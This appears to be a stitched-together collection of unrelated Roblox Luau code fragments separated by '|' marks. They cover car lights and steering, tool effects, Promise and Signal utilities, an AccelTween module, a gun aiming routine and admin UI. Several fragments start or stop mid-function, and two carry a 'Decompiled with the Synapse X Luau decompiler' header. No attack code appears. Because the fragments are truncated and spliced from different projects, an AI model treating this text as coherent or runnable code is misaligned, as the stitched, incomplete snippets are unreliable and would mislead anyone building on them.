carSeat.Parent.Body.Lights.Lights.L.G.Enabled = false
end
end
function RightInd()
if right == true then
repeat
carSeat.Parent.Body.Lights.R.G.Enabled = true
carSeat.Parent.Body.Lights.R2.G.Enabled = true
carSeat.Parent.Body.Lights.Lights.R.G.Enabled = true
script.Parent.Indicator:Play()
script.Parent.HUB.Right.Visible = true
wait(1/3)
carSeat.Parent.Body.Lights.R.G.Enabled = false
carSeat.Parent.Body.Lights.R2.G.Enabled = false
carSeat.Parent.Body.Lights.Lights.R.G.Enabled = false
script.Parent.Indicator2:Play()
script.Parent.HUB.Right.Visible = false
wait(1/3)
until right == false
carSeat.Parent.Body.Lights.R.G.Enabled = false
carSeat.Parent.Body.Lights.R2.G.Enabled = false
carSeat.Parent.Body.Lights.Lights.R.G.Enabled = false
end
end
game:GetService("RunService").RenderStepped:connect(function()
if carSeat.IsOn.Value == true and cam == "first" then
local XLook=math.max(math.min(((mouse.X-(mouse.ViewSizeX/2))/300)^3,1),-1)
local YLook=math.max(math.min(((mouse.Y-(mouse.ViewSizeY/2))/300)^3,1),-1)
local LookOffset=player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,.1,-.5)*CFrame.Angles(-YLook,-XLook,0))
Camera.CameraType="Scriptable"
Camera.CameraSubject=player.Character.Humanoid
Camera.CoordinateFrame=LookOffset
player.CameraMaxZoomDistance=0
else
Camera.CameraSubject = carSeat
Camera.CameraType = ("Custom")
cam = ("car")
player.CameraMaxZoomDistance=100
end
end)
script.Parent.CarSeat.Value.ChildRemoved:connect(function(child)
Camera.CameraType="Custom"
Camera.CameraSubject=player.Character.Humanoid
player.CameraMaxZoomDistance=100
script:Destroy()
end)
while wait() do
local g = carSeat.BodyGyro
if W.Value == true and carSeat.Throttle == 1 then
Whel = 0.4
elseif W.Value == true and carSeat.Throttle == -1 then
Whel = -0.4
else
Whel = 0
end
g.CFrame=CFrame.new(carSeat.CFrame.p,carSeat.CFrame.p+carSeat.CFrame.lookVector)*CFrame.Angles(Whel,(-carSeat.Steer*math.min(carSeat.Velocity.magnitude/(carSeat.MxSpd.Value),diff)*math.pi/4)*(carSeat.Velocity.magnitude/(carSeat.MxSpd.Value/2)),-carSeat.Steer*math.min(carSeat.Velocity.magnitude/(carSeat.MxSpd.Value/2),1)*math.pi/5)
|
-- Decompiled with the Synapse X Luau decompiler.
|
wait(1);
script.Parent:TweenSize(UDim2.new(-0, -0, -0, -0), "In", "Quad", 0.5, true);
wait(1);
script.Parent:Remove();
|
--<DON'T TOUCH THE SCRIPT UNLESS YOU KNOW WHAT YOU ARE DOING!
|
local RS = game:GetService('ReplicatedStorage')
local TS = game:GetService('TweenService')
local Tool = script.Parent
local TextureArray = {}
local Activated = false
local Debounce = false
local Cooldown = 1
local Prop = nil
local LaughAnim = nil
Tool.Activated:Connect(function()
if not Debounce then
Debounce = true
task.delay(Cooldown, function()
Debounce = false
end)
local Character = Tool.Parent
if not Activated then
Activated = true
LaughAnim = Character.Humanoid:LoadAnimation(RS.SharkV4.Laugh)
LaughAnim:Play()
Character.HumanoidRootPart.Anchored = true
Prop = RS.SharkV4.Props.Tail:Clone()
Prop.Parent = Character
local Attachment = Instance.new('Attachment')
Attachment.Parent = Character.HumanoidRootPart
Attachment.Position = Vector3.new(0,-2.5,0)
local Wave = RS.SharkV4.Effects.Wave:Clone()
Wave.Parent = Attachment
local Smoke = RS.SharkV4.Effects.Smoke:Clone()
Smoke.Parent = Character.HumanoidRootPart
local Pixel = RS.SharkV4.Effects.Pixel:Clone()
Pixel.Parent = Character.HumanoidRootPart
local Laugh = RS.SharkV4.Sound.Laugh:Clone()
Laugh.Parent = Character.HumanoidRootPart
local SmokeSound = RS.SharkV4.Sound.Smoke:Clone()
SmokeSound.Parent = Character.HumanoidRootPart
Laugh:Play()
task.delay(1.6,function()
Laugh:Destroy()
task.wait(0.25)
Character.HumanoidRootPart.Anchored = false
LaughAnim:Stop()
end)
SmokeSound:Play()
local Tween = TS:Create(SmokeSound, TweenInfo.new(1.5), {Volume = 0})
Tween:Play()
Tween.Completed:Connect(function()
SmokeSound:Destroy()
end)
Wave:Emit(2)
Smoke:Emit(100)
Pixel:Emit(50)
for _, Item in ipairs(Character.Humanoid:GetAccessories()) do
local Hair = Item.Handle:FindFirstChild("HairAttachment") ~= nil
if Hair then
TextureArray[Item] = {TextureID = Item.Handle.TextureID, Color = Item.Handle.Color, Material = Item.Handle.Material}
Item.Handle.Color = Color3.fromRGB(0, 85, 255)
Item.Handle.TextureID = ''
Item.Handle.Material = Enum.Material.Neon
end
end
elseif Activated then
Activated = false
local Tween = TS:Create(Prop.Handle, TweenInfo.new(0.5), {Transparency = 1})
Tween:Play()
Tween.Completed:Connect(function()
Prop:Destroy()
end)
for _, Item in ipairs(Character.Humanoid:GetAccessories()) do
local Hair = Item.Handle:FindFirstChild("HairAttachment") ~= nil
if Hair then
Item.Handle.Color = TextureArray[Item].Color
Item.Handle.Material = TextureArray[Item].Material
Item.Handle.TextureID = TextureArray[Item].TextureID
TextureArray[Item] = nil
end
end
end
end
end)
|
--since the UI clamps particle size, we have to override in code :(
|
local shockwave = script.Parent.ShockwaveLoc.Shockwave
shockwave.Size = NumberSequence.new{
NumberSequenceKeypoint.new(0, 5), -- (time, value)
NumberSequenceKeypoint.new(1, 20)
}
local flashPS = script.Parent.BloxSpawnLoc.FlashPS
flashPS.Size = NumberSequence.new{
NumberSequenceKeypoint.new(0, 2), -- (time, value)
NumberSequenceKeypoint.new(1, 25)
}
|
-- ClientRemoteSignal
-- Stephen Leitnick
-- January 07, 2021
| |
--When you are editing the car, make sure that the Left, Right, and Base parts are in a
--straight line, and in the orientation the models comes with, or they won't be where you expect
--them to be at all!
|
motorSpeed = 0.05 -- a typical number is 0.1 but lower is better if you get weird behavior
|
-- In radian the maximum accuracy penalty
|
local MaxSpread = 0.07
|
--[=[
@interface ServiceClient
.Server Service
.[any] any
@within KnitServer
]=]
|
type ServiceClient = {
Server: Service,
[any]: any,
}
|
-- (Hat Giver Script - Loaded.)
|
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Hat"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(1,1.60000002,1)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0,-0.4,0)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
------Body Variables------
|
local myHuman = marine.Humanoid
local myRoot = marine.HumanoidRootPart
local myHead = marine.Head
|
-- Gui Elements
|
local PlayerGui = player:FindFirstChild("PlayerGui")
local TopBar = PlayerGui:FindFirstChild("TopBar")
local TimerAndStatus = TopBar:FindFirstChild("TimerAndStatus")
local StatusBar = TimerAndStatus:FindFirstChild("StatusBar")
local GameStatus = StatusBar:FindFirstChild("GameStatus")
local CheckpointFrame = script.Parent
|
--[[
Is the given object a Promise instance?
]]
|
function Promise.is(object)
if type(object) ~= "table" then
return false
end
local objectMetatable = getmetatable(object)
if objectMetatable == Promise then
-- The Promise came from this library.
return true
elseif objectMetatable == nil then
-- No metatable, but we should still chain onto tables with andThen methods
return type(object.andThen) == "function"
elseif
type(objectMetatable) == "table"
and type(rawget(objectMetatable, "__index")) == "table"
and type(rawget(rawget(objectMetatable, "__index"), "andThen")) == "function"
then
-- Maybe this came from a different or older Promise library.
return true
end
return false
end
Promise.Is = Promise.is
|
--[=[
Sets the current and target position, and sets the velocity to 0.
@prop pt number
@within AccelTween
]=]
|
function AccelTween:__index(index)
if AccelTween[index] then
return AccelTween[index]
elseif index == "p" then
local pos, _ = self:_getstate(os.clock())
return pos
elseif index == "v" then
local _, vel = self:_getstate(os.clock())
return vel
elseif index == "a" then
return self._accel
elseif index == "t" then
return self._y1
elseif index == "rtime" then
local time = os.clock()
return time < self._t1 and self._t1 - time or 0
else
error(("Bad index %q"):format(tostring(index)))
end
end
function AccelTween:__newindex(index, value)
if index == "p" then
self:_setstate(value, nil, nil, nil)
elseif index == "v" then
self:_setstate(nil, value, nil, nil)
elseif index == "a" then
self:_setstate(nil, nil, value, nil)
elseif index == "t" then
self:_setstate(nil, nil, nil, value)
elseif index == "pt" then
self:_setstate(value, 0, nil, value)
else
error(("Bad index %q"):format(tostring(index)))
end
end
function AccelTween:_getstate(time)
if time < (self._t0 + self._t1)/2 then
local t = time - self._t0
return self._y0 + t*t/2*self._a0, t*self._a0
elseif time < self._t1 then
local t = time - self._t1
return self._y1 + t*t/2*self._a1, t*self._a1
else
return self._y1, 0
end
end
function AccelTween:_setstate(newpos, newvel, newaccel, newtarg)
local time = os.clock()
local pos, vel = self:_getstate(time)
pos = newpos or pos
vel = newvel or vel
self._accel = newaccel or self._accel
local targ = newtarg or self._y1
if self._accel*self._accel < 1e-8 then
self._t0, self._y0, self._a0 = 0, pos, 0
self._t1, self._y1, self._a1 = math.huge, targ, 0
else
local conda = targ < pos
local condb = vel < 0
local condc = pos - vel*vel/(2*self._accel) < targ
local condd = pos + vel*vel/(2*self._accel) < targ
if conda and condb and condc or not conda and (condb or not condb and condd) then
self._a0 = self._accel
self._t1 = time + ((2*vel*vel + 4*self._accel*(targ - pos))^0.5 - vel)/self._accel
else
self._a0 = -self._accel
self._t1 = time + ((2*vel*vel - 4*self._accel*(targ - pos))^0.5 + vel)/self._accel
end
self._t0 = time - vel/self._a0
self._y0 = pos - vel*vel/(2*self._a0)
self._y1 = targ
self._a1 = -self._a0
end
end
return AccelTween
|
-- METHODS
|
function Signal:Fire(...)
self._bindableEvent:Fire(...)
end
function Signal:Connect(handler)
if not (type(handler) == "function") then
error(("connect(%s)"):format(typeof(handler)), 2)
end
local connection = self._bindableEvent.Event:Connect(function(...)
handler(...)
end)
-- If ``true`` is passed for trackConnectionsChanged within the constructor this will track the amount of active connections
if self.connectionsChanged then
self.totalConnections += 1
self.connectionsChanged:Fire(1)
local heartbeatConection
heartbeatConection = game:GetService("RunService").Heartbeat:Connect(function()
if connection.Connected == false then
heartbeatConection:Disconnect()
if self.connectionsChanged then
self.totalConnections -= 1
self.connectionsChanged:Fire(-1)
end
end
end)
end
return connection
end
function Signal:Wait()
local args = self._bindableEvent.Event:Wait()
return unpack(args)
end
function Signal:Destroy()
if self._bindableEvent then
self._bindableEvent:Destroy()
self._bindableEvent = nil
end
if self.connectionsChanged then
self.connectionsChanged:Fire(-self.totalConnections)
self.connectionsChanged:Destroy()
self.connectionsChanged = nil
self.totalConnections = 0
end
end
Signal.destroy = Signal.Destroy
Signal.Disconnect = Signal.Destroy
Signal.disconnect = Signal.Destroy
return Signal
|
--[=[
Apply an inverse square intensity multiplier to the given vector based on the
distance away from some source. This can be used to simulate shake intensity
based on the distance the shake is occurring from some source.
For instance, if the shake is caused by an explosion in the game, the shake
can be calculated as such:
```lua
local function Explosion(positionOfExplosion: Vector3)
local cam = workspace.CurrentCamera
local renderPriority = Enum.RenderPriority.Last.Value
local shake = Shake.new()
-- Set shake properties here
local function ExplosionShake(pos: Vector3, rot: Vector3)
local distance = (cam.CFrame.Position - positionOfExplosion).Magnitude
pos = Shake.InverseSquare(pos, distance)
rot = Shake.InverseSquare(rot, distance)
cam.CFrame *= CFrame.new(pos) * CFrame.Angles(rot.X, rot.Y, rot.Z)
end
shake:BindToRenderStep("ExplosionShake", renderPriority, ExplosionShake)
end
```
]=]
|
function Shake.InverseSquare(shake: Vector3, distance: number): Vector3
if distance < 1 then
distance = 1
end
local intensity = 1 / (distance * distance)
return shake * intensity
end
|
--// NPC
|
local NPCS = game.Workspace:WaitForChild("NPCS")
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local l__Character__2 = l__LocalPlayer__1.Character;
local l__Gas__3 = l__LocalPlayer__1:WaitForChild("Data"):WaitForChild("Gas");
local l__Gas__4 = workspace:WaitForChild("Gas");
ts = game:GetService("TweenService");
ti2 = TweenInfo.new(3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out, 0, false, 0);
while wait(0.4) do
for v5, v6 in pairs(l__Gas__4:GetDescendants()) do
if v6.ClassName == "Part" then
v6.Transparency = 1;
local v7 = false;
for v8, v9 in pairs((workspace:FindPartsInRegion3WithWhiteList(Region3.new(v6.Position - v6.Size / 2, v6.Position + v6.Size / 2), game.Players.LocalPlayer.Character:GetDescendants()))) do
if not v9:FindFirstAncestor(game.Players.LocalPlayer.Name) then
v7 = false;
break;
end;
v7 = true;
end;
if v7 == true and l__Character__2.Human.Value == true then
l__Gas__3.Value = l__Gas__3.Value - 0.1;
end;
end;
end;
end;
|
-- Connect 'MoveToFinished' event to the 'onWaypointReached' function
|
human.MoveToFinished:Connect(onWaypointReached)
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
ContentProvider = game:GetService("ContentProvider")
Animations = {}
ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")
ClientControl.OnClientInvoke = (function(Mode, Value)
if Mode == "PlayAnimation" and Humanoid then
for i, v in pairs(Animations) do
if v.Animation == Value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
local AnimationTrack = Humanoid:LoadAnimation(Value.Animation)
table.insert(Animations, {Animation = Value.Animation, AnimationTrack = AnimationTrack})
AnimationTrack:Play(Value.FadeTime, Value.Weight, Value.Speed)
elseif Mode == "StopAnimation" and Value then
for i, v in pairs(Animations) do
if v.Animation == Value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
elseif Mode == "Preload" and Value then
ContentProvider:Preload(Value)
elseif Mode == "PlaySound" and Value then
Value:Play()
elseif Mode == "StopSound" and Value then
Value:Stop()
elseif Mode == "MousePosition" then
return PlayerMouse.Hit.p
end
end)
function InvokeServer(Mode, Value)
pcall(function()
local ServerReturn = ServerControl:InvokeServer(Mode, Value)
return ServerReturn
end)
end
function CheckIfAlive()
return (Player and Player.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0)
end
function Equipped(Mouse)
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
if not CheckIfAlive() then
return
end
PlayerMouse = Player:GetMouse()
Mouse.Button1Down:connect(function()
InvokeServer("MouseClick", {Down = true})
end)
Mouse.Button1Up:connect(function()
InvokeServer("MouseClick", {Down = false})
end)
Mouse.KeyDown:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = true})
end)
Mouse.KeyUp:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = false})
end)
end
function Unequipped()
for i, v in pairs(Animations) do
if v and v.AnimationTrack then
v.AnimationTrack:Stop()
end
end
Animations = {}
end
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
-- ROBLOX deviation START: No Luau support for numeric literal types
-- export type EventPriority = 0 | 1 | 2;
|
export type EventPriority = number
|
---Steering
|
function Steering()
local mode=0
local TUpdate=tick()
local Steer=0
local CSteer=0
local CSteerTol=3
local CSteerPerc=.3
local CPos=0
local KRef=0
local KTime=1
local FoAngle=math.rad(34)
local FiAngle=math.rad(37)
local RoAngle=math.rad(1)
local RiAngle=math.rad(1)
local RTime=.25
local MWidth=400
local MExp=2
local KAdj=.7
local KDecay=350
local KDExp=1.65
local DZone=50
local CExp=2
local CDZone=.1
local function UpdateSteer()
local fl=FoAngle
local fr=FiAngle
local rl=RoAngle
local rr=RiAngle
if CPos<0 then
fl=FiAngle
fr=FoAngle
rl=RiAngle
rr=RoAngle
end
for i,v in pairs(car.Wheels.FL:GetChildren()) do
--v.Arm.Weld.C0=CFrame.new()*CFrame.Angles(0,(CPos+(CSteer*CSteerPerc))*-fl,0)
v.Arm.Steer.cframe=v.Base.CFrame*CFrame.Angles(0,(CPos)*-fl,0)
local look = (v.Base.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector
v.Arm.Steer.MaxTorque=Vector3.new(math.abs(look.x),math.abs(look.y),math.abs(look.z))*50000
end
for i,v in pairs(car.Wheels.FR:GetChildren()) do
--v.Arm.Weld.C0=CFrame.new()*CFrame.Angles(0,(CPos+(CSteer*CSteerPerc))*-fr,0)
v.Arm.Steer.cframe=v.Base.CFrame*CFrame.Angles(0,(CPos)*-fr,0)
local look = (v.Base.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector
v.Arm.Steer.MaxTorque=Vector3.new(math.abs(look.x),math.abs(look.y),math.abs(look.z))*50000
end
for i,v in pairs(car.Wheels.RL:GetChildren()) do
--v.Arm.Weld.C0=CFrame.new()*CFrame.Angles(0,(CPos+(CSteer*CSteerPerc))*rl,0)
v.Arm.Steer.cframe=v.Base.CFrame*CFrame.Angles(0,(CPos)*rl,0)
local look = (v.Base.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector
v.Arm.Steer.MaxTorque=Vector3.new(math.abs(look.x),math.abs(look.y),math.abs(look.z))*00000
end
for i,v in pairs(car.Wheels.RR:GetChildren()) do
--v.Arm.Weld.C0=CFrame.new()*CFrame.Angles(0,(CPos+(CSteer*CSteerPerc))*rr,0)
v.Arm.Steer.cframe=v.Base.CFrame*CFrame.Angles(0,(CPos)*rr,0)
local look = (v.Base.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector
v.Arm.Steer.MaxTorque=Vector3.new(math.abs(look.x),math.abs(look.y),math.abs(look.z))*00000
end
GSteer=CPos
end
local function getSteer()
--local rot=(car.DriveSeat.RotVelocity*(car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector)/CSteerTol
--local CS=rot.x+rot.y+rot.z
--CSteer=(CS+Steer)*(1-math.abs(Steer))
local SLimit=1
if GMode==0 then
Steer=car.DriveSeat.Steer
elseif GMode==1 then
--SLimit=0
local MPos=mouse.X-(mouse.ViewSizeX/2)
if math.abs(MPos)>DZone then
local sPos=1
if MPos<0 then sPos=-1 end
Steer=sPos*math.abs(math.max(-1,math.min(1,(MPos-(DZone*sPos))/(MWidth-DZone)))^MExp)
else
Steer=0
end
else
--SLimit=0
if math.abs(LStickX)>CDZone then
local sPos=1
if LStickX<0 then sPos=-1 end
Steer=sPos*math.abs(math.max(-1,math.min(1,((LStickX-CDZone))/(1-CDZone)))^CExp)
else
Steer=0
end
end
KRef=CPos
KTime=math.abs(KRef-Steer)*RTime
if KTime~=0 then
local t=math.min(1,math.min(tick()-TUpdate,KTime)/KTime)
CPos=((KRef*(1-t))+(Steer*t))*(1-(KAdj*math.min(1,math.abs((car.DriveSeat.Velocity.Magnitude/KDecay)^KDExp),SLimit)))
end
UpdateSteer()
TUpdate=tick()
end
--run:BindToRenderStep("Steer",Enum.RenderPriority.Last.Value,getSteer)
--table.insert(Binded,"Steer")
--table.insert(Binded,getSteer)
table.insert(LoopRun,getSteer)
end
Steering()
|
---
|
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,2,true)
end
script.Parent.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,2,true)
end
end)
function turn()
if hinge.DesiredAngle == 0 then
car.Misc.Wiper2.WiperEvent:FireServer(1)
else
car.Misc.Wiper2.WiperEvent:FireServer(0)
end
end
script.Parent.MouseButton1Click:connect(function()
turn()
end)
local uis = game:GetService("UserInputService")
uis.InputBegan:connect(function(i,f)
if not f then
if i.KeyCode == Enum.KeyCode.N then
turn()
end
end
end)
|
--!strict
|
local RunService = game:GetService("RunService")
local model = script.Parent
local cloth = model:FindFirstChild("Plane")
local physicsParts = model:WaitForChild("Parts")
local A4P = physicsParts:FindFirstChild("A4")
local bones : {Bone} = {}
local function indexBones()
for iterator, bone : Bone in cloth:GetDescendants() do
if bone:IsA("Bone") then
table.insert(bones, bone)
end
if iterator%50 == 0 then
task.wait()
end
end
end
indexBones()
|
--------------------[ ADS FUNCTIONS ]-------------------------------------------------
|
function aimGun()
if Reloading or Knifing or isCrawling or (not S.canADS) then return end
mouseSensitivity = aimSensitivity
for _, Plugin in pairs(Plugins.Aimed) do
spawn(function()
Plugin()
end)
end
Aimed = true
Aiming = true
Running = false
spreadZoom = "Aimed"
baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion]
if S.aimSettings.Anim then
local currentFOV = Cam.FieldOfView
local currentTrans = Scope.BackgroundTransparency
tweenJoint(LWeld, armC0[1], S.aimedC1.leftArm, Sine, S.aimSettings.Speed)
tweenJoint(RWeld, armC0[2], S.aimedC1.rightArm, Sine, S.aimSettings.Speed)
tweenJoint(LWeld2, nil, CF(), Sine, S.aimSettings.Speed)
tweenJoint(RWeld2, nil, CF(), Sine, S.aimSettings.Speed)
tweenJoint(Grip, nil, aimedGripCF, Sine, S.aimSettings.Speed)
tweenJoint(headWeld2, nil, CF(0, -0.5, 0) * CFANG(0, 0, S.aimSettings.headTilt) * CF(0, 0.5, 0), Sine, S.aimSettings.Speed)
local t0 = tick()
while true do
RS.RenderStepped:wait()
local Alpha = math.min((tick() - t0) / S.aimSettings.Speed, 1) * 90
if (not Aimed) then break end
if (not Selected) then break end
aimAlpha = Sine(Alpha)
aimHeadOffset = headOffset.X * aimAlpha
jumpAnimMultiplier = numLerp(1, S.fallSettings.aimEffect, aimAlpha)
translationDivisor = numLerp(7, 20, aimAlpha)
rotationMultiplier = numLerp(S.momentumSettings.Amplitude.unAimed, S.momentumSettings.Amplitude.Aimed, aimAlpha)
armTiltMultiplier = numLerp(1, 0.2, aimAlpha)
Cam.FieldOfView = numLerp(currentFOV, S.aimSettings.FOV, aimAlpha)
if S.guiScope then
Scope.BackgroundTransparency = numLerp(currentTrans, 0, aimAlpha)
end
if Alpha == 90 then break end
end
else
LWeld.C0, LWeld.C1 = armC0[1], S.aimedC1.leftArm
RWeld.C0, RWeld.C1 = armC0[2], S.aimedC1.rightArm
LWeld2.C1, RWeld2.C1 = CF(), CF()
animWeld.C0 = CF(0, 1, 0)
Grip.C1 = aimedGripCF
headWeld2.C1 = CF(0, -0.5, 0) * CFANG(0, 0, S.aimSettings.headTilt) * CF(0, 0.5, 0)
aimAlpha = 1
aimHeadOffset = headOffset.X
jumpAnimMultiplier = S.fallSettings.aimEffect
translationDivisor = 20
rotationMultiplier = S.momentumSettings.Amplitude.Aimed
armTiltMultiplier = 0.2
Cam.FieldOfView = S.aimSettings.FOV
end
Aiming = (not Aimed)
if (not Aiming) and S.guiScope then
spawn(function()
scopeSteady.Visible = true
Scope.BackgroundTransparency = 1
scopeMain.Visible = true
if armTable then
for _, Obj in pairs(armTable[1].Model:GetChildren()) do
if Obj:IsA("BasePart") then
Obj.LocalTransparencyModifier = 1
end
end
for _, Obj in pairs(armTable[2].Model:GetChildren()) do
if Obj:IsA("BasePart") then
Obj.LocalTransparencyModifier = 1
end
end
elseif armModel then
for _, Obj in pairs(armModel:GetChildren()) do
if Obj:IsA("BasePart") then
Obj.LocalTransparencyModifier = 1
end
end
end
for _, Obj in pairs(playerFolder:GetChildren()) do
if Obj:IsA("BasePart") then
Obj.LocalTransparencyModifier = 1
end
end
for _, Obj in pairs(Gun:GetChildren()) do
if Obj:IsA("BasePart") then
Obj.LocalTransparencyModifier = 1
end
end
end)
spawn(function()
local camAng = 0
local idleCam = function()
return V3(
RAD(SIN(camAng * S.scopeSettings.Frequency.Idling)) * stanceSway * camSway * S.scopeSettings.Amplitude.Idling,
RAD(SIN(camAng * 5 / 2 * S.scopeSettings.Frequency.Idling)) * stanceSway * camSway * S.scopeSettings.Amplitude.Idling * 0.75,
0
)
end
local walkCam = function()
return V3(
RAD(SIN(camAng * S.scopeSettings.Frequency.Walking)) * camSway * stanceSway * S.scopeSettings.Amplitude.Walking,
RAD(SIN(camAng * 5 / 2 * S.scopeSettings.Frequency.Walking)) * camSway * stanceSway * S.scopeSettings.Amplitude.Walking * 0.75,
0
)
end
while Aimed do
local dt = RS.RenderStepped:wait()
camOffsets.guiScope.Rot = (Sine(idleAlpha) * idleCam()) + (Sine(walkAlpha) * walkCam())
camAng = camAng + RAD(105 * dt) * stanceSway * camSway
end
end)
end
end
function unAimGun(Exception)
if (not S.canADS) then return end
mouseSensitivity = S.sensitivitySettings.Default
for _, Plugin in pairs(Plugins.UnAimed) do
spawn(function()
Plugin()
end)
end
if S.guiScope then
spawn(function()
if armTable then
for _, Obj in pairs(armTable[1].Model:GetChildren()) do
if Obj:IsA("BasePart") then
Obj.LocalTransparencyModifier = 0
end
end
for _, Obj in pairs(armTable[2].Model:GetChildren()) do
if Obj:IsA("BasePart") then
Obj.LocalTransparencyModifier = 0
end
end
elseif armModel then
for _, Obj in pairs(armModel:GetChildren()) do
if Obj:IsA("BasePart") then
Obj.LocalTransparencyModifier = 0
end
end
end
for _, Obj in pairs(playerFolder:GetChildren()) do
if Obj:IsA("BasePart") then
Obj.LocalTransparencyModifier = 0
end
end
for _, Obj in pairs(Gun:GetChildren()) do
if Obj:IsA("BasePart") then
Obj.LocalTransparencyModifier = 0
end
end
end)
end
if (not Exception) then
if (not Aimed) then return end
if (Reloading and Exception) or Knifing then return end
spreadZoom = "unAimed"
baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion]
Aimed = false
Aiming = true
if S.aimSettings.Anim then
local currentFOV = Cam.FieldOfView
local currentTrans = (Scope.BackgroundTransparency == 1 and (S.guiScope and 0 or 1) or Scope.BackgroundTransparency)
scopeMain.Visible = false
scopeSteady.Visible = false
tweenJoint(LWeld, armC0[1], S.unAimedC1.leftArm, Sine, S.aimSettings.Speed)
tweenJoint(RWeld, armC0[2], S.unAimedC1.rightArm, Sine, S.aimSettings.Speed)
tweenJoint(headWeld2, nil, CF(), Sine, S.aimSettings.Speed)
tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, S.aimSettings.Speed)
local t0 = tick()
while true do
RS.RenderStepped:wait()
local Alpha = math.min((tick() - t0) / S.aimSettings.Speed, 1) * 90
if Aimed then break end
if (not Selected) then break end
aimAlpha = 1 - Sine(Alpha)--1 - COS(RAD(X))
aimHeadOffset = headOffset.X * aimAlpha
jumpAnimMultiplier = numLerp(1, S.fallSettings.aimEffect, aimAlpha)
translationDivisor = numLerp(7, 20, aimAlpha)
rotationMultiplier = numLerp(S.momentumSettings.Amplitude.unAimed, S.momentumSettings.Amplitude.Aimed, aimAlpha)
armTiltMultiplier = numLerp(1, 0.2, aimAlpha)
Cam.FieldOfView = numLerp(80, currentFOV, aimAlpha)
Scope.BackgroundTransparency = numLerp(1, currentTrans, aimAlpha)
if Alpha == 90 then break end
end
else
scopeMain.Visible = false
scopeSteady.Visible = false
LWeld.C0, LWeld.C1 = armC0[1], S.unAimedC1.leftArm
RWeld.C0, RWeld.C1 = armC0[2], S.unAimedC1.rightArm
headWeld2.C0 = CF()
Grip.C1 = S.unAimedC1.Grip
aimAlpha = 0
aimHeadOffset = 0
jumpAnimMultiplier = 1
translationDivisor = 7
rotationMultiplier = S.momentumSettings.Amplitude.unAimed
armTiltMultiplier = 1
Cam.FieldOfView = 80
Scope.BackgroundTransparency = 1
end
Aiming = Aimed
else
spawn(function()
Aimed = false
Aiming = false
spreadZoom = "unAimed"
baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion]
local currentFOV = Cam.FieldOfView
local currentTrans = (Scope.BackgroundTransparency == 1 and (S.guiScope and 0 or 1) or Scope.BackgroundTransparency)
scopeMain.Visible = false
scopeSteady.Visible = false
tweenJoint(headWeld2, nil, CF(), Sine, S.aimSettings.Speed)
if S.aimSettings.Anim then
local t0 = tick()
while true do
RS.RenderStepped:wait()
local Alpha = math.min((tick() - t0) / S.aimSettings.Speed, 1) * 90
if Aimed then break end
if (not Selected) then break end
aimAlpha = 1 - Sine(Alpha)--1 - COS(RAD(90 - Alpha))
aimHeadOffset = headOffset.X * aimAlpha
jumpAnimMultiplier = numLerp(1, S.fallSettings.aimEffect, aimAlpha)
translationDivisor = numLerp(7, 20, aimAlpha)
rotationMultiplier = numLerp(S.momentumSettings.Amplitude.unAimed, S.momentumSettings.Amplitude.Aimed, aimAlpha)
armTiltMultiplier = numLerp(1, 0.2, aimAlpha)
Cam.FieldOfView = numLerp(80, currentFOV, aimAlpha)
Scope.BackgroundTransparency = numLerp(1, currentTrans, aimAlpha)
if Alpha == 90 then break end
end
else
scopeMain.Visible = false
scopeSteady.Visible = false
aimAlpha = 0
aimHeadOffset = 0
jumpAnimMultiplier = 1
translationDivisor = 7
rotationMultiplier = S.momentumSettings.Amplitude.unAimed
armTiltMultiplier = 1
Cam.FieldOfView = 80
Scope.BackgroundTransparency = 1
end
end)
end
end
|
-- declarations
|
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
Humanoid.Health=200
|
-- << FUNCTIONS >>
|
function module:SetupDonorCommands()
main:GetModule("PageCommands"):SetupCommands(donorCommands, pages.donor, 0)
module:UpdateDonorFrame()
end
function module:UpdateDonorFrame()
if main.pdata.Donor then
unlockDonor.Visible = false
else
unlockDonor.Visible = true
end
pages.donor.CanvasSize = UDim2.new(0, 0, 0, (finalLabel.AbsolutePosition.Y - firstLabel.AbsolutePosition.Y) + finalLabel.AbsoluteSize.Y*1)
end
return module
|
-- Testing AC FE support
|
local event = script.Parent
local car=script.Parent.Parent
local LichtNum = 0
event.OnServerEvent:connect(function(player,data)
if data['ToggleLight'] then
